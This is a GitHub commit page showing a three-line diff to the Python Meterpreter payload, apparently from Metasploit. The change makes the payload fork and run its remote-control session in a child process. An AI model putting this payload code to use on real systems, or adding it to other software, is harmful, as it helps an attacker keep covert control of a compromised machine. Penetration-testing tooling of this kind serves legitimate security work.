Skip to content

Commit f490277

Browse files
committed
Always os.fork() when available.
1 parent ffac647 commit f490277

File tree

1 file changed

+3
-2
lines changed

1 file changed

+3
-2
lines changed

data/meterpreter/meterpreter.py

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -403,5 +403,6 @@ def create_response(self, request):
403403
resp = struct.pack('>I', len(resp) + 4) + resp
404404
return resp
405405

406-
met = PythonMeterpreter(s)
407-
met.run()
406+
if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
407+
met = PythonMeterpreter(s)
408+
met.run()

0 commit comments

Comments
 (0)